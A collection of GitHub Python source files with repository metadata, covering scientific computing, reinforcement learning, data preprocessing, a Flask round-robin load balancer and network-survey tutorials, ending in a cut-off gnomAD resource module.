+{"seq_id":"21107869209","text":"import scipy.io\nimport mdlsvd \nimport matplotlib.pyplot as plt\nimport numpy \nfrom mpl_toolkits.mplot3d import Axes3D\n\ndata=scipy.io.loadmat('data/lines2d_a.mat')\nX=data['Abis']\n[u,v,lu,lv,LM]=mdlsvd.bin_svd_mdl(X)\nnumpy.savetxt('LM.ascii',LM)\nnumpy.savetxt('u.ascii',u)\nnumpy.savetxt('v.ascii',v)\n\nfig = plt.figure()\nax  = fig.gca(projection='3d')\n[lu,lv]=numpy.meshgrid(lu,lv)\nax.plot_surface(lu,lv,LM)\nply.savefig('L.svg')\nplt.show()\n\nplt.figure()\nplt.spy(dot(u,v.T))\nplt.savefig('spy.svg')\nplt.show()\n","repo_name":"nacho-pancho/binary-matrix-factorization","sub_path":"sandbox/01-svd/mdl_lines_show.py","file_name":"mdl_lines_show.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"10211862746","text":"import numpy as np\nfrom test_utils.fifo import Fifo\n\n\nclass NodeStream:\n    \"\"\"\n    The data streams of all the nodes in the system. Used by the DataGenerator class.\n    Receives data points and updates the local vector of the nodes.\n    Updates the global vector of the verifier with every new data point.\n    Inherent class must implement update_local_vector method according to the local data aggregation method.\n    \"\"\"\n    def __init__(self, num_nodes, sliding_window_size, data_point_len):\n        self.sliding_window_size = sliding_window_size\n        self.num_nodes = num_nodes\n        self.sliding_windows = []\n        self.local_vectors = []\n        for node_idx in range(num_nodes):\n            self.sliding_windows.append(Fifo(sliding_window_size, data_point_len))\n            self.local_vectors.append(self.initial_x0.copy())\n        self.global_vector = self.initial_x0.copy()\n\n    def get_global_vector(self):\n        return self.global_vector\n\n    def get_local_vector(self, node_idx):\n        return self.local_vectors[node_idx]\n\n    def set_new_data_point(self, data_point, node_idx):\n        self.local_vectors[node_idx] = self.update_local_vector(data_point, self.sliding_windows[node_idx], self.local_vectors[node_idx])\n        self.global_vector = np.mean(self.local_vectors, axis=0)\n\n    def all_windows_full(self):\n        return np.alltrue([window.is_window_full() for window in self.sliding_windows])\n\n    def node_window_full(self, node_idx):\n        return self.sliding_windows[node_idx].is_window_full()\n\n    def update_local_vector(self, data_point, sliding_window, x):\n        raise NotImplementedError(\"To be implemented by inherent class\")\n\n\nclass NodeStreamAverage(NodeStream):\n\n    def __init__(self, num_nodes, sliding_window_size, data_point_len, d):\n        assert d == data_point_len\n        self.initial_x0 = np.zeros(d)\n        super().__init__(num_nodes, sliding_window_size, data_point_len)\n\n    def update_local_vector(self, data_point, sliding_window, x):\n        new_x = x\n        num_samples = sliding_window.get_num_element()\n        if sliding_window.is_window_full():\n            # Remove the oldest sample\n            oldest_data_point = sliding_window.get_oldest_element()\n            new_x = (new_x * num_samples - oldest_data_point) / (num_samples - 1)\n            num_samples -= 1\n\n        # Add the new sample and increase num_samples\n        sliding_window.add_element(data_point)\n        num_samples += 1\n        new_x = (new_x * (num_samples - 1) + data_point) / num_samples\n        return new_x\n\n\nclass NodeStreamFrequency(NodeStream):\n\n    def __init__(self, num_nodes, sliding_window_size, data_point_len, d):\n        assert data_point_len == 1\n        self.initial_x0 = np.ones(d, dtype=np.float) / d\n        super().__init__(num_nodes, sliding_window_size, data_point_len)\n\n    def update_local_vector(self, data_point, sliding_window, x):\n        # data_point is an integer, one of the k possible values (0 to k-1)\n        new_x = x\n        num_samples = sliding_window.get_num_element()\n        new_x = np.around(new_x * num_samples)\n\n        if sliding_window.is_window_full():\n            # Remove the oldest sample\n            oldest_data_point = sliding_window.get_oldest_element()\n            new_x[int(oldest_data_point)] -= 1\n            assert (new_x[int(oldest_data_point)] >= 0)\n\n        # Add the new sample\n        sliding_window.add_element(data_point)\n        new_x[int(data_point)] += 1\n\n        new_x = new_x / sliding_window.get_num_element()\n        return new_x\n\n\nclass NodeStreamFirstAndSecondMomentum(NodeStream):\n\n    def __init__(self, num_nodes, sliding_window_size, data_point_len, d):\n        assert data_point_len == 1\n        assert d == 2\n        self.initial_x0 = np.zeros(d)\n        super().__init__(num_nodes, sliding_window_size, data_point_len)\n\n    def update_local_vector(self, data_point, sliding_window, x):\n        # data_point is a real value (scalar)\n        new_x = x\n        num_samples = sliding_window.get_num_element()\n        if sliding_window.is_window_full():\n            # Remove the oldest sample\n            oldest_data_point = sliding_window.get_oldest_element()\n            new_x[0] = (new_x[0] * num_samples - oldest_data_point) / (num_samples - 1)\n            new_x[1] = (new_x[1] * num_samples - oldest_data_point ** 2) / (num_samples - 1)\n            num_samples -= 1\n\n        # Add the new sample and increase num_samples\n        sliding_window.add_element(data_point)\n        num_samples += 1\n        new_x[0] = (new_x[0] * (num_samples - 1) + data_point) / num_samples\n        new_x[1] = (new_x[1] * (num_samples - 1) + data_point ** 2) / num_samples\n        return new_x\n\n\nclass NodeStreamConcatenatedFrequencyVectors(NodeStream):\n\n    def __init__(self, num_nodes, sliding_window_size, data_point_len, d):\n        assert data_point_len == 2\n        k = d // 2  # Two concatenated frequency vectors\n        self.initial_x0 = np.ones(d, dtype=np.float) / k\n        super().__init__(num_nodes, sliding_window_size, data_point_len)\n\n    def update_local_vector(self, data_point, sliding_window, x):\n        # data_point is a concatenation of two integers x1 and x2, where x1 and x2 are one of the k possible values (0 to k-1)\n        new_x = x\n        num_samples = sliding_window.get_num_element()\n        new_x = np.around(new_x * num_samples)\n        k = new_x.shape[0] // 2\n\n        if sliding_window.is_window_full():\n            # Remove the oldest sample\n            oldest_data_point = sliding_window.get_oldest_element()\n            new_x[int(oldest_data_point[0])] -= 1\n            new_x[int(oldest_data_point[1]) + k] -= 1\n            assert (new_x[int(oldest_data_point[0])] >= 0)\n            assert (new_x[int(oldest_data_point[1]) + k] >= 0)\n\n        # Add the new sample\n        sliding_window.add_element(data_point)\n        new_x[int(data_point[0])] += 1\n        new_x[int(data_point[1]) + k] += 1\n\n        new_x = new_x / sliding_window.get_num_element()\n        return new_x\n","repo_name":"hsivan/automon","sub_path":"test_utils/node_stream.py","file_name":"node_stream.py","file_ext":"py","file_size_in_byte":6019,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"57"}
+{"seq_id":"31878335938","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 27 09:37:57 2015\n\n@author: Chiara Del Piccolo\n\"\"\"\n\n\"\"\"\nRead in experimental Residual Dipolar Couplings\n(RDCs), and read in alpha-carbon (Ca) and alpha-hydrogen (Ha) coordinates to calculate the\nexpected RDCs from a text file. \nThis version for Calpha-Halpha couplings, saupe matrix input. \n\"\"\"\n\nimport numpy as np\nfrom math import *\n\nclass ResidualDipolarCouplings(object):\n    \"\"\"Read in experimental RDCs and calculate expected RDCs from coordinates.\"\"\"\n    def __init__(self, saupe_matrix, exp_rdc_file, cafile, hafile, dmax):\n        self.saupe_matrix = saupe_matrix\n        self.dmax = dmax\n        self.exp_rdc_file = exp_rdc_file\n        self.cafile = cafile\n        self.hafile = hafile        \n        \n    def get_exp_rdcs(self):\n        \"\"\"Read in experimentally observed RDCs from a text file.\"\"\"\n        exp_rdc = np.genfromtxt(self.exp_rdc_file)\n        return exp_rdc\n\n    def get_coords(self):\n        \"\"\"Read in the coordinates of the alpha-carbon (Calpha) and alpha-hydrogen (Halpha) residues\n           from a text file.\"\"\"\n        CAcoords = np.genfromtxt(self.cafile) \n        HAcoords = np.genfromtxt(self.hafile) \n       \n        #slicing\n        CA_residues = CAcoords[:,0] \n        CA_xcoords = CAcoords[:,1]\n        CA_ycoords = CAcoords[:,2]\n        CA_zcoords = CAcoords[:,3]\n        \n        HA_residues = HAcoords[:,0]\n        HA_xcoords = HAcoords[:,1]\n        HA_ycoords = HAcoords[:,2]\n        HA_zcoords = HAcoords[:,3]\n        \n        #element-wise subtraction\n        dx = CA_xcoords - HA_xcoords\n        dy = CA_ycoords - HA_ycoords\n        dz = CA_zcoords - HA_zcoords\n        return dx, dy, dz\n        \n    def make_saupe_matrix(self):\n        saupe = self.saupe_matrix\n        sxx = saupe[0]\n        syy = saupe[1]\n        sxy = saupe[2]\n        sxz = saupe[3]\n        syz = saupe[4]\n        return sxx, syy, sxy, sxz, syz\n\n    def back_calculate_rdcs(self):\n        \"\"\"Back-calculate the expected RDCs.\"\"\"\n        dx, dy, dz = self.get_coords()\n        sxx, syy, sxy, sxz, syz = self.make_saupe_matrix()\n        dmax = self.dmax\n        \n        rdc_list = []\n        for i in range(len(dx)):\n            r = sqrt(dx[i] * dx[i] + dy[i] * dy[i] + dz[i] * dz[i])    \n            sc1 = np.array((dx[i] * dx[i] - dz[i] * dz[i]) * dmax / r**5)\n            sc2 = np.array((dy[i] * dy[i] - dz[i] * dz[i]) * dmax / r**5)\n            sc3 = np.array((2 * dx[i] * dy[i]) * dmax / r**5)\n            sc4 = np.array((2 * dx[i] * dz[i]) * dmax / r**5)\n            sc5 = np.array((2 * dy[i] * dz[i]) * dmax / r**5)\n            \n            rdc = (sxx*sc1) + (syy*sc2) + (sxy*sc3) + (sxz*sc4) + (syz*sc5)\n            rdc_list.append(rdc)\n        rdcs = np.array(rdc_list)\n        np.savetxt(\"calc_rdcs.csv\", rdcs)\n        return rdcs\n \nif __name__ == \"__main__\":        \n    x = ResidualDipolarCouplings([-2.95379276065e-06, -0.000216342464017, 0.000151739172395, -0.000386038080569, -0.000355440050948], u'apo_phage.csv', u'h.txt', u'n.txt', -60400)\n    x.get_exp_rdcs()\n    x.get_coords()\n    x.make_saupe_matrix()\n    x.back_calculate_rdcs()\n","repo_name":"cdelpiccolo/project3","sub_path":"calc_rdc_caha_saupe.py","file_name":"calc_rdc_caha_saupe.py","file_ext":"py","file_size_in_byte":3117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"32039813948","text":"from collections import deque\nimport os\nimport random\nfrom tqdm import tqdm\nimport math\nimport torch\nimport datetime\nimport pytz\nfrom utils_drl import Agent\nfrom utils_env import MyEnv\nfrom utils_memory import ReplayMemory\nimport time\n\ndate=datetime.datetime.now(pytz.timezone('Asia/Shanghai')).strftime(\"%Y-%m-%d %H_%M_%S\")\n\nGAMMA = 0.99\nGLOBAL_SEED = 0\nMEM_SIZE = 100_00 #\nRENDER = False\nPREFIX=\"./\"+date\nSAVE_PREFIX = PREFIX+\"/models\"\nCONFIG_PATH=PREFIX+\"/config.txt\"\nos.mkdir(PREFIX)\nos.mkdir(SAVE_PREFIX)\n\nSTACK_SIZE = 4\n\nEPS_START = 1.\nEPS_END = 0.1\nEPS_DECAY = 1000000\n\nBATCH_SIZE = 16 #\nPOLICY_UPDATE = 8 #\nTARGET_UPDATE = 10_000 #\nWARM_STEPS = 0 #\nMAX_STEPS = 5000000\nEVALUATE_FREQ = 100_00\n\nEPSILON = 0.01 #\nALPHA = 0.8 #\nBETA = 0.4 #\nBETA_INC = 0.001 #\nwith open(CONFIG_PATH,\"a\") as f:\n    f.write(\"MEM_SIZE: \"+str(MEM_SIZE)+\"\\n\")\n    f.write(\"ALPHA: \"+str(ALPHA)+\"\\n\")\n    f.write(\"BETA: \"+str(BETA)+\"\\n\")\n    f.write(\"BETA_INC: \"+str(BETA_INC)+\"\\n\")\n    f.write(\"WARM_STEPS: \"+str(WARM_STEPS)+\"\\n\")\n    f.write(\"POLICY_UPDATE: \"+str(POLICY_UPDATE)+\"\\n\")\n    f.write(\"BATCH_SIZE: \"+str(BATCH_SIZE)+\"\\n\")\n    f.write(\"TARGET_UPDATE: \"+str(TARGET_UPDATE)+'\\n')\nrand = random.Random()\nrand.seed(GLOBAL_SEED)\nnew_seed = lambda: rand.randint(0, 1000_000)\n\n\ntorch.manual_seed(new_seed())\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nenv = MyEnv(device)\nagent = Agent(\n    env.get_action_dim(),\n    device,\n    GAMMA,\n    new_seed(),\n    EPS_START,\n    EPS_END,\n    EPS_DECAY,\n)\nmemory = ReplayMemory(STACK_SIZE + 1, MEM_SIZE, device,EPSILON=EPSILON,ALPHA=ALPHA,BETA_INC=BETA_INC,BETA=BETA)\n\n#### Training ####\nobs_queue: deque = deque(maxlen=5)\ndone = True\n\nprogressive = tqdm(range(MAX_STEPS), total=MAX_STEPS,\n                   ncols=50, leave=False, unit=\"b\")\nfor step in progressive:\n    if done:\n        observations, _, _ = env.reset()\n        for obs in observations:\n            obs_queue.append(obs)\n\n    training = len(memory) > WARM_STEPS\n    state = env.make_state(obs_queue).to(device).float()\n    action = agent.run(state, training)\n    obs, reward, done = env.step(action)\n    obs_queue.append(obs)\n    memory.push(env.make_folded_state(obs_queue), action, reward, done, agent)\n\n    if step % POLICY_UPDATE == 0 and training:\n        agent.learn(memory, BATCH_SIZE)\n\n    if step % TARGET_UPDATE == 0:\n        agent.sync()\n\n    if step % EVALUATE_FREQ == 0:\n        avg_reward, frames = env.evaluate(obs_queue, agent, render=RENDER)\n        with open(PREFIX+\"/rewards.txt\", \"a\") as fp:\n            fp.write(f\"{step//EVALUATE_FREQ:3d} {step:8d} {avg_reward:.1f}\\n\")\n        if RENDER:\n            prefix = f\"eval_{step//EVALUATE_FREQ:03d}\"\n            os.mkdir(prefix)\n            for ind, frame in enumerate(frames):\n                with open(os.path.join(prefix, f\"{ind:06d}.png\"), \"wb\") as fp:\n                    frame.save(fp, format=\"png\")\n        agent.save(os.path.join(\n            SAVE_PREFIX, f\"model_{step//EVALUATE_FREQ:03d}\"))\n        done = True\n","repo_name":"reeeeeeeeeein/DQN-breakout","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"13066060354","text":"import numpy as np\nimport jax.numpy as jnp\nimport flax.linen as nn\n\n\nclass GLU(nn.Module):\n    dim:int\n    @nn.compact\n    def __call__(self, x):\n        out, gate = jnp.split(x,2, axis=self.dim)\n        return out * nn.sigmoid(gate)\n    \nclass ConformerConvModule(nn.Module):\n  output_dim : int = 256\n  kernel_size : int = 31\n  @nn.compact\n  def __call__(self, x):\n    x = nn.LayerNorm()(x)\n    x = nn.Conv(self.output_dim * 4, [1])(x)\n    x = GLU(dim=2)(x)\n    x = nn.Conv(self.output_dim, kernel_size = [self.kernel_size])(x)\n    x = nn.swish(x)\n    x = nn.Conv(self.output_dim, kernel_size = [self.kernel_size])(x)\n    return x\n\nclass EncoderBlock(nn.Module):\n  emb_dim : int = 256\n  n_heads : int = 8\n  \n\n  @nn.compact\n  def __call__(self, input):\n    x = input\n    x = nn.LayerNorm()(x)\n    x = nn.SelfAttention(num_heads=self.n_heads,out_features=self.emb_dim)(x)\n    x = x + input\n    \n    y = x\n    y = ConformerConvModule(self.emb_dim)(y)\n    y = y + x\n\n    return y\n","repo_name":"flyingblackshark/jax-MelPE","sub_path":"layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"28429048603","text":"# Machine Learning 0.1: Calcolo dei percentili\n# Emilio Garzia, 2023\n# Per maggiori informazioni sui cenni teorici e la natura dei dati consultare il README.md file\n\nimport numpy as np\n\nages = [5,31,43,48,50,41,7,11,15,39,80,82,32,2,8,6,25,36,27,61,31]\n\npercent_50 = np.percentile(ages, 50)\n\nprint(percent_50)\n\n# OUTPUT: 31.0\n# Quindi, il 50% delle persone ha un età di 31 anni o inferiore","repo_name":"EmilioGarzia/MachineLearning_with_Python_IT","sub_path":"0.1 - Percentile/Percentile.py","file_name":"Percentile.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"5298749905","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date    : 2021-07-15 01:50:51\n# @Author  : Farzana Eva \n# @Version : 1.0.0\n\n\"\"\"\nGiven a linked list A of length N and an integer B.\nYou need to find the value of the Bth node from the middle towards the beginning of the Linked List A.\nIf no such element exists, then return -1.\nNOTE:\nPosition of middle node is: (N/2)+1, where N is the total number of nodes in the list.\n\nProblem Constraints\n1 <= N <= 105\n1<= Value in Each Link List Node <= 103\n1 <= B <= 105\n\nInput Format\nFirst argument is the head pointer of the linkedlist A.\nSecond argument is an integer B.\n\nOutput Format\nReturn an integer denoting the value of the Bth from the middle towards the head of the linked list A. If no such element exists, then return -1.\n\nExample Input\nInput 1:\n A = 3 -> 4 -> 7 -> 5 -> 6 -> 1 6 -> 15 -> 61 -> 16\n B = 3\n Input 2:\n A = 1 -> 14 -> 6 -> 16 -> 4 -> 10\n B = 2\n Input 3:\n A = 1 -> 14 -> 6 -> 16 -> 4 -> 10\n B = 10\n\nExample Output\nOutput 1:\n 4\n Output 2:\n 14\n Output 3:\n -1\n\nExample Explanation\nExplanation 1:\n The Middle of the linked list is the node with value 6.\n The 1st node from the middle of the linked list is the node with value 5.\n The 2nd node from the middle of the linked list is the node with value 7.\n The 3rd node from the middle of the linked list is the node with value 4.\n So we will output 4.\nExplanation 2:\n The Middle of the linked list is the node with value 16.\n The 1st node from the middle of the linked list is the node with value 6.\n The 2nd node from the middle of the linked list is the node with value 14.\n So we will output 14.\nExplanation 3:\n The Middle of the linked list is the node with value 16.\n There are only 3 nodes to the left of the middle node and we need to find the 10th node which doesn't exist so we will return -1.\n\"\"\"\n\n# Definition for singly-linked list.\n# class ListNode:\n#    def __init__(self, x):\n#        self.val = x\n#        self.next = None\n\nclass Solution:\n    # @param A : head node of linked list\n    # @param B : integer\n    # @return an integer\n    def solve(self, A, B):\n        ll_length = self.getLen(A)\n        mid_length = (ll_length //2) + 1\n        if B >= mid_length: return -1\n        else:\n            indx = mid_length - B\n\n            i = 1\n            current = A \n            while current.next:\n                if i == indx:\n                    return current.val\n                current = current.next\n                i += 1\n    \n    def getLen(self, A):\n        count = 0 \n        current = A \n\n        while current:\n            count+=1\n            current = current.next\n\n        return count","repo_name":"FarzanaEva/Data-Structure-and-Algorithm-Practice","sub_path":"InterviewBit Problems/Linked Lists/kth_node_from_middle.py","file_name":"kth_node_from_middle.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"9172016408","text":"\"\"\"\nGeneral functions to import data and perform basic pre-processing\n\"\"\"\n\nfrom typing import Optional\nimport numpy as np\nimport pandas as pd\n\n\ndef import_data(data_filename: str, manual_model_renames: Optional[dict] = None):\n    data = _prepare_data(\n        data_filename,\n        sep=\";\",\n        onlyworld=False,\n        manual_model_renames=manual_model_renames,\n    )\n\n    # Check for different regions\n    if len(data[\"Region\"].unique()) > 1:\n        print(\"Careful, more than 1 region present:\")\n        print(dict(data.groupby(\"Region\").count().iloc[:, 0]))\n\n    # Check for problems:\n    double_check = data.groupby([\"Name\", \"Variable\"]).count()[\"2050\"]\n    problems = double_check[double_check > 1].reset_index().groupby([\"Name\"]).count()\n    if len(problems) > 0:\n        print(problems[\"Variable\"].rename(\"# duplicated variables\").to_frame())\n\n    # Transform Kt to Mt CO2/yr\n    data.loc[data[\"Unit\"] == \"Kt\", \"2010\":] /= 1000\n    data.loc[data[\"Unit\"] == \"Kt\", \"Unit\"] = \"Mt CO2/yr\"\n\n    # Remove duplicate pairs of name-variable\n    data = pd.concat(\n        [\n            data[~data[\"Name\"].isin(problems.index)],\n            data[data[\"Name\"].isin(problems.index)]\n            .groupby([\"Name\", \"Variable\"])\n            .first()\n            .reset_index(),\n        ],\n        sort=False,\n    )\n\n    # Add missing 5 year timesteps\n    _interpolate_missing_5years(data)\n\n    return data\n\n\ndef _prepare_data(\n    database, startyear=2010, dt=10, onlyworld=True, manual_model_renames=None, **kwargs\n):\n    data_raw = pd.read_csv(database, **kwargs)\n\n    # Choose only decadal data\n    data = data_raw.loc[\n        :,\n        [\"Model\", \"Scenario\", \"Region\", \"Variable\", \"Unit\"]\n        + [str(y) for y in np.arange(startyear, 2101, dt)],\n    ]\n\n    # Choose only region == World\n    if onlyworld:\n        data = data[data[\"Region\"] == \"World\"]\n\n    # Set all scenario names to lowercase\n    data[\"Scenario\"] = data[\"Scenario\"].str.lower()\n\n    # Manually rename a few models to match version file\n    if manual_model_renames is not None:\n        data[\"Model\"] = data[\"Model\"].replace(manual_model_renames)\n\n    # Add column Name, equal to Model + Scenario\n    data.insert(2, \"Name\", data[\"Model\"] + \" \" + data[\"Scenario\"])\n\n    return data\n\n\ndef _interpolate_missing_5years(data: pd.DataFrame):\n    col_2010 = list(data.columns).index(\"2010\")\n    for i, year in enumerate(range(2015, 2105, 10)):\n        data.insert(\n            col_2010 + 2 * i + 1,\n            str(year),\n            data[[str(year - 5), str(year + 5)]].mean(axis=1),\n        )\n\n","repo_name":"kvanderwijst/IAMDiagnostics","sub_path":"utils/data/prepocessing.py","file_name":"prepocessing.py","file_ext":"py","file_size_in_byte":2561,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"57"}
+{"seq_id":"35570269478","text":"from flask import Flask, request\nimport requests\nimport sys\nimport os\nimport math\nfrom fractions import gcd\n\napp= Flask(__name__)\nround_robin=0\nx=0\ni= -1\ncw= 0\ns=[0,1]\nw=[2,6]\nipAddressWebServer1= \"20.238.39.149\"\nipAddressWebServer2= \"13.74.217.223\"\n\n@app.route('/')\ndef func():\n    global s,w,cw,i\n    round_robin = weighted_round_robin()\n    if round_robin == 0:\n        response = requests.get(\"http://{}:8080\".format(ipAddressWebServer1))\n\n        return str(response.content)\n    elif round_robin == 1:\n        response = requests.get(\"http://{}:8080\".format(ipAddressWebServer2))\n        return str(response.content)\n    else:\n        return \"Not Found\",404\n\ndef weighted_round_robin():\n    global s,w,cw,i\n    while True:\n        i=(i+1)%2\n        if i==0:\n            cw=cw-gcd(*w)\n            if cw<=0:\n                cw=max(w)\n                if cw==0:\n                    return none\n        if w[i]>=cw:\n            return s[i]  #W(Si) indicates the weight of Si;\n\nif __name__ == \"__main__\":\n    app.run(host=\"0.0.0.0\", port=4000)\n","repo_name":"nagshkere00/Implementating-load-balancer-for-HTTP-requests-in-ms-azure-using-virtualised-techniques","sub_path":"load balancer /weighted round robin /app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"74258322418","text":"import os\nimport pandas as pd\n\n# village IDs 13 and 22 are missing\nVALID_VILLAGE_IDS = [i for i in range(1, 77+1) if i != 13 and i != 22] \n\nDEFAULT_METADATA_FILEPATH = \"datav4.0/Data/2. Demographics and Outcomes/individual_characteristics.dta\" # nolint\nRAW_CSV_FOLDER = \"2010-0760_Data/Data/Raw_csv\"\n\nties_layer_mapping={\n    \"borrowmoney\": \"money\",\n    \"lendmoney\": \"money\",\n    \"giveadvice\": \"advice\",\n    \"helpdecision\": \"advice\",\n    \"keroricego\": \"kerorice\",\n    \"keroricecome\": \"kerorice\",\n    \"visitgo\": \"visit\",\n    \"visitcome\": \"visit\",\n}\n\ndef get_karnataka_survey_data(village_id: int, tie_type: str,\n                              indivinfo: pd.DataFrame,\n                              ties_layer_mapping=ties_layer_mapping,\n                              all_na_codes=[\"9999999\", \"5555555\", \"7777777\", \"0\"],\n                              raw_csv_folder=RAW_CSV_FOLDER):\n    \"\"\"\n    Read the raw data for a given tie type and village id, \n    and return two dataframes: the edgelist and the list of respondents.\n\n    Parameters\n    ----------\n    village_id : int\n        The village id, between 1 and 10.\n    tie_type : str\n        The tie type\n    indivinfo : pd.DataFrame\n        The individual-level metadata\n    all_na_codes : list, optional\n        The list of codes that should be interpreted as missing values, by default [\"9999999\", \"5555555\", \"7777777\", \"0\"]\n    raw_csv_folder : str, optional\n        The path to the folder containing the raw csv files, by default \"2010-0760_Data/Data/Raw_csv\"\n\n    Returns\n    -------\n\n    edgelist : pd.DataFrame\n        The edgelist\n\n    respondents : list\n        The respondent metadata\n\n    \"\"\"\n\n    # Filter the individual-level metadata to keep only the relevant village\n    resp = indivinfo[indivinfo[\"village\"] == village_id].copy()\n    resp[\"didsurv\"] = 1\n\n    village_file = os.path.join(raw_csv_folder, f\"village{village_id}.csv\")\n    metadata = pd.read_csv(village_file, header = None, names=[\"hhid\", \"ppid\", \"gender\", \"age\"])\n\n    ## gender (1-Male, 2-Female)\n    metadata[\"gender\"] = metadata[\"gender\"].map({1: \"Male\", 2: \"Female\"})\n\n    ## pre-process pid to match the format in the individual-level metadata\n    metadata[\"ppid\"] = metadata[\"ppid\"].astype(str)\n    metadata[\"hhid\"] = metadata[\"hhid\"].astype(str)\n    metadata[\"pid\"] =  metadata.apply(lambda x: f'{x[\"hhid\"]}{0 if len(x[\"ppid\"]) != 2 else \"\"}{x[\"ppid\"]}', axis=1)\n\n    ## Select only the relevant columns\n    selected_cols = [\"pid\", \"resp_status\", \"religion\", \"caste\", \"didsurv\"]\n    metadata = pd.merge(metadata, resp[selected_cols], on=\"pid\", how=\"left\")\n\n    # Read the raw data\n    filepath = os.path.join(raw_csv_folder, f\"{tie_type}{village_id}.csv\")\n    df_raw = pd.read_csv(filepath, header=None, na_values=all_na_codes, dtype=str)\n\n    # Example with the data\n    edgelist = pd.melt(df_raw, id_vars=[0]).dropna()\n\n    edgelist = edgelist.drop(columns=\"variable\")\\\n          .rename(columns={0: \"ego\", \"value\": \"alter\"})\\\n          .assign(reporter=lambda x: x[\"ego\"])\n\n    # Let's also add a column for the tie type\n    edgelist = edgelist.assign(tie_type=tie_type)\n\n    # Let's add a weight column too\n    edgelist = edgelist.assign(weight=1)\n\n    # If the question was \"Did you borrow money from anyone?\", then we need to flip the ego and alter columns\n    if tie_type in [\"borrowmoney\", \"helpdecision\", \"keroricego\", \"visitgo\"]:\n        edgelist = edgelist.rename(columns={\"ego\": \"alter\", \"alter\": \"ego\"})\n\n    edgelist[\"layer\"] = edgelist[\"tie_type\"].map(ties_layer_mapping)\n\n    # Reorder the columns to make it easier to read\n    edgelist = edgelist[[\"ego\", \"alter\", \"reporter\", \"tie_type\", \"layer\", \"weight\"]]\n\n    #### Further pre-processing steps ####\n\n    # Who could actually report on the ties?\n    reporters = set(metadata[metadata[\"didsurv\"] == 1][\"pid\"])\n    nodes = reporters.union(set(edgelist[\"ego\"])).union(set(edgelist[\"alter\"]))\n\n    # Only keep reports made by those who were MARKED as reporters in metadata CSV\n    edgelist = edgelist[edgelist[\"reporter\"].isin(reporters)].copy()\n\n    # Remove self-loops\n    edgelist = edgelist[edgelist[\"ego\"] != edgelist[\"alter\"]].copy()\n\n    # Remove duplicates\n    edgelist.drop_duplicates(inplace=True)\n\n    return edgelist, reporters\n\ndef get_layer(village_id, layer_name, indivinfo, \n              raw_csv_folder=RAW_CSV_FOLDER):\n\n    tie_types = {\n        \"money\": [\"lendmoney\", \"borrowmoney\"],\n        \"advice\": [\"giveadvice\", \"helpdecision\"],\n        \"kerorice\": [\"keroricego\", \"keroricecome\"],\n        \"visit\": [\"visitgo\", \"visitcome\"],\n    }\n\n    selected_tie_types = tie_types[layer_name]\n\n    edgelist = pd.DataFrame()\n    reporters = set()\n\n    for tie_type in selected_tie_types:\n        edgelist_, reporters_ = get_karnataka_survey_data(village_id=village_id, \n                                                            tie_type=tie_type, \n                                                            indivinfo=indivinfo,\n                                                            raw_csv_folder=raw_csv_folder)\n        edgelist = pd.concat([edgelist, edgelist_])\n        reporters = reporters.union(reporters_)\n\n    return edgelist, reporters\n\ndef get_indivinfo(metadata_filepath=DEFAULT_METADATA_FILEPATH):\n    indivinfo = pd.read_stata(metadata_filepath)\n    indivinfo.drop_duplicates(subset=[\"pid\"], inplace=True) ## one individual (6109803) is repeated twice.\n    indivinfo[\"pid\"] = indivinfo[\"pid\"].astype(str)\n    indivinfo[\"hhid\"] = indivinfo[\"hhid\"].astype(str)\n\n    return indivinfo","repo_name":"latentnetworks/vimure","sub_path":"docs/latest/tutorials/python/tutorial01.py","file_name":"tutorial01.py","file_ext":"py","file_size_in_byte":5513,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"57"}
+{"seq_id":"37130445328","text":"\"\"\"Script containing release related resources.\"\"\"\nimport logging\nfrom typing import Optional\n\nfrom gnomad.resources.grch38.gnomad import coverage, public_release\nfrom gnomad.resources.resource_utils import (\n    DataException,\n    TableResource,\n    VersionedTableResource,\n)\nfrom gnomad.utils.file_utils import file_exists\n\nfrom gnomad_qc.v4.resources.constants import (\n    COMBINED_FAF_RELEASES,\n    COVERAGE_RELEASES,\n    CURRENT_COMBINED_FAF_RELEASE,\n    CURRENT_COVERAGE_RELEASE,\n    CURRENT_RELEASE,\n    RELEASES,\n)\n\nFREQUENCY_README = \"\"\"\nThe 'freq' row annotation is an array that contains allele frequency information. Each element of the array is a struct that contains the alternate allele count (AC), alternate allele frequency (AF), total number of alleles (AN), and number of homozygous alternate individuals (homozygote_count) for a specific sample grouping.\n\nUse the 'freq_index_dict' global annotation to retrieve frequency information for a specific group of samples from the 'freq' array. This global annotation is a dictionary keyed by sample\ngrouping combinations whose values are the combination's index in the 'freq' array.\n\nThe available keys combinations for the 'freq_index_dict' are as follows:\n\ngroup, e.g. “adj”, “raw”\nsex_group, e.g. “XX_adj”\nsubset_group, e.g. “non_ukb_raw”\ngen-anc_group, e.g. “afr_adj”\ngen-anc_sex_group, e.g. “ami_XX_adj”\ndownsampling_group_gen-anc, e.g. “200_eas_adj”,\ndownsampling_group_gen-anc, e.g. “non_ukb_218035_eas_adj”\nsubset_gen-anc_group, e.g. “non_ukb_sas_adj”\nsubset_gen-anc_group, e.g. 